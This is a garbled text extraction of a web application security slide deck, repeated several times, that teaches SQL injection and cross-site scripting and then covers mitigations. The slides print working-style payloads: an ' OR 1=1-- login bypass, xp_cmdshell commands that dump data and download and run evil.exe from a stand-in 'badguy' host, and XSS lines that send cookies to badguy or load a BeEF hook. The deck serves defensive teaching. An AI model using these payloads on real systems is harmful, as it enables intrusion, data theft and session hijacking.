3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 10: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

10

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 11: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

OWASP Top 10 2013

1 Injection

2 Broken Authentication and Session Management

3 Cross-Site Scripting (XSS)

4 Insecure Direct Object References

5 Security Misconfiguration

6 Sensitive Data Exposure

7 Missing Function Level Access Control

8 Cross-Site Request Forgery (CSRF)

9 Using Components with Known Vulnerabilities

10 Unvalidated Redirects and Forwards

11

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 12: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

12

What is SQL

bull Structured Query Language (SQL)

bull Standard language for getting information

from and updating a database

bull Originally ldquoStructured English QUEry

Languagerdquo or SEQUEL

13

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

14

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

15

SQL Structure

